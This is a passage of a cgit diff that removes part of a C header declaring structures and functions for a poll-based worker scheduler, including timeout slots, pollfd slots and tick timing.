-}; - -struct prne_wkr_timeout_slot { - struct timespec dur; - struct prne_wkr_slot_parent parent; - bool active; - bool reached; -}; - -struct prne_wkr_pollfd_slot { - struct pollfd pfd; - struct prne_wkr_slot_parent parent; -}; - -struct prne_wkr_sched_req { - struct pollfd *pfd_arr; - size_t pfd_arr_size; - struct timespec timeout; - prne_llist_t tos_list; - prne_llist_t pfd_list; - bool timeout_active; -}; - -struct prne_wkr_tick_info { - struct timespec last_tick; - struct timespec this_tick; - struct timespec tick_diff; - double real_tick_diff; -}; - -struct prne_worker { - intptr_t id; - void *ctx; - - void (*free)(void *ctx); - void (*fin)(void *ctx); - void (*work)(void *ctx, const prne_wkr_tick_info_t *sched_info); - bool (*has_finalised)(void *ctx); -}; - - -void prne_init_wkr_sched_req (prne_wkr_sched_req_t *r); -void prne_free_wkr_sched_req (prne_wkr_sched_req_t *r); -bool prne_wkr_sched_req_prep_poll (prne_wkr_sched_req_t *r); -void prne_wkr_sched_req_refl_poll (prne_wkr_sched_req_t *r, const int poll_ret, const struct timespec elapsed); -bool prne_wkr_sched_req_do_poll (prne_wkr_sched_req_t *r, int *poll_ret); - -prne_wkr_timeout_slot_pt prne_alloc_wkr_timeout_slot (prne_wkr_sched_req_t *r); -void prne_free_wkr_timeout_slot (prne_wkr_timeout_slot_pt s); -prne_wkr_pollfd_slot_pt prne_alloc_wkr_pollfd_slot (prne_wkr_sched_req_t *r); -void prne_free_wkr_pollfd_slot (prne_wkr_pollfd_slot_pt s); - -void prne_init_wkr_tick_info (prne_wkr_tick_info_t *ti); -void prne_free_wkr_tick_info (prne_wkr_tick_info_t *ti); -void prne_wkr_tick_info_set_start (prne_wkr_tick_info_t *ti); -void prne_wkr_tick_info_set_tick (prne_wkr_tick_info_t *ti); \ No newline at end of file -- cgit